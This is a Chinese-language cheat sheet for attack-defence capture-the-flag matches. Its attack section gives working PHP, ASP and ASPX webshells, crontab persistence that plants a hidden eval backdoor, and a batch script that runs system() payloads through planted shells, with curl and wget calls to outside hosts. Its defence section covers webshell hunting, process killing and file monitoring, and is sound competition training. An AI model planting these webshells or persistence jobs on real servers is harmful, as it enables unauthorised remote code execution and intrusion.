比赛攻击思路
搜索存活主机
信息收集
- nmap、Routescan
namp -sn 192.168.0.0/24 #扫描C段主机存活
- Python 脚本
扫描并写入存活地址
import requests
with open("IP.txt", "w") as file:
for x in range(2, 255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
file.write(url + "\n") # 将IP地址写入文件
except requests.exceptions.RequestException as e:
print(f"发送请求到 {url} 时发生错误: {e}")
权限维持
预留到后面会被防守人删除,所以为了稳定得分,我们得进行权限维持。
隐藏文件读取
header(php'flag:'.file_get_contents('/flag'));
crontab定时任务
使用定时任务写马,需要一定的权限。
脚本一:
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'7d40f0d6c4baa81950b1759d3712a225\'){@eval(\\\\\\\\\$_POST[ZX]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
密码:ZX
来指定用户运行指定的定时任务
脚本二:
<?php
// 将你的 PHP 代码写入一个独立的脚本,比如 script.php
$scriptContent = '<?php if(md5($_POST["pass"])=="7d40f0d6c4baa81950b1759d3712a225"){@eval($_POST[ZX]);} ?>';
file_put_contents('/var/www/html/script.php', $scriptContent);
// 设置 crontab 定时执行脚本
$crontabContent = '* * * * * /usr/bin/php /var/www/html/script.php';
file_put_contents('/tmp/crontab', $crontabContent);
// 安装新的 crontab
system('crontab /tmp/crontab');
// 删除脚本
unlink('/var/www/html/script.php');
?>
预留后门利用
记录一下蚁剑连接,get型木马
<?php eval($_GET['pass']);
/shell.php?pass=eval($_POST[1]);
连接密码:1
常用一句话木马:
php:
<?php @eval($_POST['pass']);?>
<?php eval($_GET['pass']);
asp:
<%eval request ("pass")%>
aspx:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>
批量脚本
#!/usr/bin/python
#coding=utf-8
import sys
import io
import time
import requests
import urllib3
from http import cookies
import sys,requests,base64,time
from matplotlib.pyplot import flag
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #禁用安全请求警告
#利用一句话木马得到flag
#加载一句话地址的文件
def shell_list(filepath):
#格式 http://192.168.174.128/shell.php
#返回列表
try :
with open(filepath,encoding='utf-8') as f:
data = f.readlines()
return data
except :
print("File"+filepath+" Not Found!")
sys.exit()
def getflag(filepath):
file = 'flag'+str(time.time())[-5:]+'.txt'
#加载shell地址
list = shell_list(filepath)
#访问 执行查看flag命令 linux就是cat
# get方式
# getflag_cmd ='echo system("cat /flag");'
# getflag_cmd ='echo system("wget -q -O - http://192.168.1.146:9898/flag");' # post方式
passwd="dbapp#2020" #木马密码
payload = {passwd: 'system("curl http://10.0.1.2?token=XFMDKLVJ");'}
for url in list:
#url = url.strip('\r\n') + "?x=" +getflag_cmd #get方式
url = url.strip('\r\n') #post方式
try:
#res = requests.get(url=url,timeout=5) #get方式
res = requests.post(url=url,data=payload,timeout=5) #post方式
except:
print(url+"[ - ] request timeout [ - ]")
if res.content:
content = str(res.content,'utf-8')
try :
#把得到的flag存到flag文件再批量提交
with open(file,'a',encoding='utf-8') as f:
f.writelines(content+"\n")
except :
print("写flag.txt文件失败!!")
sys.exit()
print("[+] getflag sucessed! flag文件:" +file)
return file
#批量提交flag
def sentflag(filepath,url):
filename = getflag(filepath)#返回存放flag的地址
#读取存放flag文件
with open(filename,'r',encoding='utf-8') as f:
flags = f.readlines()
for flag in flags:
flag_p=flag.replace("\n", "")
data={
'atn':'1',
'id':'2',
'token':'3',
'flag':flag_p
}
cookie={'PHPSESSID':'1',
'Samesite':'',
'php-console-server':'3',
'matchToken_131':'4',
'adl':'5'}
try :
res = requests.post(url, data=data, verify=False, cookies=cookie)
if res.status_code==200 :
print("Get flag Success")
except :
print("[ ------------> ] Send Flag Failed [ <----------- ]")
sys.exit()
#第一个参数需要一个存放shell的地址,格式 http://192.168.174.128/test.php?x=
#第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx
filepath = './bsm_shell.txt' #自己创建
url = 'https://10.0.0.xx/mx/xx/axx'
def timer(n):
while True:
sentflag(filepath,url)
time.sleep(n)
timer(120)
防御思路
SSH口令更改
passwd username #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’ #查找配置文件中的密码凭证
后门查杀
通过xshell或其他管理
find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more
不死马查杀
进行条件竞争或写个脚本直接杀。
进程查杀
ps aux | grep www-data
##
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
ps aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
##
awk ‘{print $2}’
提取字符串行内容的第2个字段,也就是当前示例的进程号
比如写个马来一直杀死不死马进程:
<?php
system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定
?>
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>
创建一个和马仔一样的文件夹
循环创建
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
文件监控
文件监控可以及时查看木马删除,并删除
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
python jiankong.py /var/www/html
文件监控脚本:
https://github.com/TheKingOfDuck/FileMonitor
WAF
相当于你给自己的网站上防火墙
推荐使用watchbird
使用命令:
php watchbird.php --install /var/www/html
运行waf 之后,在网址加上**?watchbird=ui**,就会进入到waf 配置页面然后设置密码
github上有使用教程
清除反弹shell
查看进程
ps -ef / px -aux
出现www-data权限的/bin/sh一般为nc
然后杀进程
kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`